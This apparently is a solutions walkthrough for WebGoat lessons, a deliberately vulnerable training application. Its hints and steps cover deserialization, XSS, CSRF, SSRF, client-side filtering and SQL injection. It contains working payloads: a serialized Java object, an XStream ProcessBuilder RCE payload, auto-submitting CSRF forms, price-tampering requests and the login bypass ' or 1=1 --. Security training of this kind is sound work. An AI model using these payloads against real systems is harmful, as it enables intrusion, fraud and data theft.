Linux payload: rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfjDAsAATgb5CBEeHQAB3NsZWVwIDV0AA5jcnVtcGV0c3dhaXRlcg
Code to generate payload; you can run this method as a test.
public void createPayload() throws Exception {
VulnerableTaskHolder o = new VulnerableTaskHolder("namenotimportant", "sleep 5");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
Please note that this was only verified on a Windows machine and the Linux payload has been generated blindly.
Copy-paste Ok<script>XSS</script>
in each box.
This lesson does not seem to work.
For the deserialization, go to the link: http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/ to read about why it works. The following payload should work.
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
The form has hidden inputs.
You will need to use an external page and/or script to trigger it.
Try creating a local page or one that is uploaded and points to this form as its action.
The trigger can be manual or scripted to happen automatically
Save the following code in a file csrf.html and open it in a web browser.
<form name="attack" action="http://host:port/WebGoat/csrf/basic-get-flag" method="POST">
<input type="hidden" name='csrf' value='true'>
</form>
<script>document.attack.submit();</script>
Again, you will need to submit from an external domain/host to trigger this action. While CSRF can often be triggered from the same host (e.g. via persisted payload), this doesn't work that way.
Remember, you need to mimic the existing workflow/form.
This one has a weak anti-CSRF protection, but you do need to overcome (mimic) it
Save the following code in a file csrf.html and open it in a web browser.
<form name="attack" action="http://host:port/WebGoat/csrf/review" method="POST">
<input type="hidden" name='reviewText' value='This App Rocks'>
<input type="hidden" name='stars' value='5'>
<input type="hidden" name='validateReq' value='2aa14227b9a13d0bede0388a7fba9aa9'>
</form>
<script>document.attack.submit();</script>
Lesson number does not turn green on validation.
Look at the content-type.
Try to post the same message with content-type text/plain
The json can be put into a hidden field inside
Save the following code in a file csrf.html and open it in a web browser.
<form name="attack" enctype="text/plain" action="http://host:port/WebGoat/csrf/feedback/message" method="POST">
<input type="hidden" name='{"name": "Test", "email": "[email protected]", "subject": "service", "message":"dsaffd"}'>
</form>
<script>document.attack.submit();</script>
First create a new account with csrf-username
Create a form which will log you in as this user (hint 1) and upload it to WebWolf
Visit this assignment again
Follow the instructions.
You should use an HTTP proxy to intercept the request and change the URL.
If Tom is images/tom.png, Jerry would be images/jerry.png.
- Open the Development Tools in the browser, and go to the Network tab.
- On WebGoat click on Steal the Cheese.
- Locate the query to
task1
in the Network tab and click on Edit and Resend. - Modify the body of the request with
url=images/jerry.png
and send it again.
You need to put the protocol, "http://" in front of ifconfig.pro.
- Open the Development Tools in the browser, and go to the Network tab.
- On WebGoat click on Steal the Cheese.
- Locate the query to
task2
in the Network tab and click on Edit and Resend. - Modify the body of the request with
url=http://ifconfig.pro
and send it again.
- Open the Development Tools in the browser, and go to the Network tab.
- On WebGoat click on submit without editing the parameters.
- Locate the query to
FieldRestrictions
in the Network tab and click on Edit and Resend. - Modify the body of the request with
select=option3&radio=option3&checkbox=a&shortInput=123456
and send it again.
- Open the Development Tools in the browser, and go to the Network tab.
- On WebGoat click on submit without editing the parameters.
- Locate the query to
frontendValidation
in the Network tab and click on Edit and Resend. - Modify the body of the request with
field1=abcz&field2=123z&field3=abc+123+ABC'z&field4=sevenz&field5=01101z&field6=90210-1111z&field7=301-604-4882z&error=0
and send it again.
Try to change the number of items and see what is happening
Is the price part of the HTML request?
Intercept the request and manipulate the price before submitting it.
- Open the Development Tools in the browser, and go to the Network tab.
- On WebGoat click on Chekout without editing the parameters.
- Locate the query to
task
in the Network tab and click on Edit and Resend. - Modify the body of the request with
QTY=2&Total=0
and send it again.
The information displayed when an employee is chosen from the drop down menu is stored on the client side.
Use Firebug to find where the information is stored on the client side.
Examine the hidden table to see if there is anyone listed who is not in the drop down menu.
Look in the last row of the hidden table.
- Right-click on the Select user scrolling element, and click on Inspect Element
- Just below in the HTML, there is a hidden table, in which information about Neville Bartholomew is present.
- Its salary is 450000.
Look through the web page inspect the sources etc
Try to see the flow of request from the page to the backen
client.side.filtering.free.hint3
- Open the Development Tools in the browser, and go to the Network tab.
- On WebGoat click on the CHECKOUT CODE case then click on Chekout without editing the parameters.
- Locate the query to
coupons
in the Network tab and click on Response. - Notice the
get_it_for_free
code to get a discount of 100%.
- Download the image http://host:port/WebGoat/images/webgoat2.png.
- Open it in a text editor.
- Look up for the string admin to find the password !!webgoat_admin_1234!!.
-
Username:
Larry
-
Password:
' or 1=1 --
This challenge is exactly the same as (A1) Injection - SQL Injection (advanced) 5.
- Fuzz through common path, find .git
- open the .git link, download the .git zip
- since we have all git objects, we can get all source code
- find the constant varialbe of admin password reset link https://localhost:8080/WebGoat/challenge/7/reset-password/375afe1104f4a487a73823c50a9292a2
- get code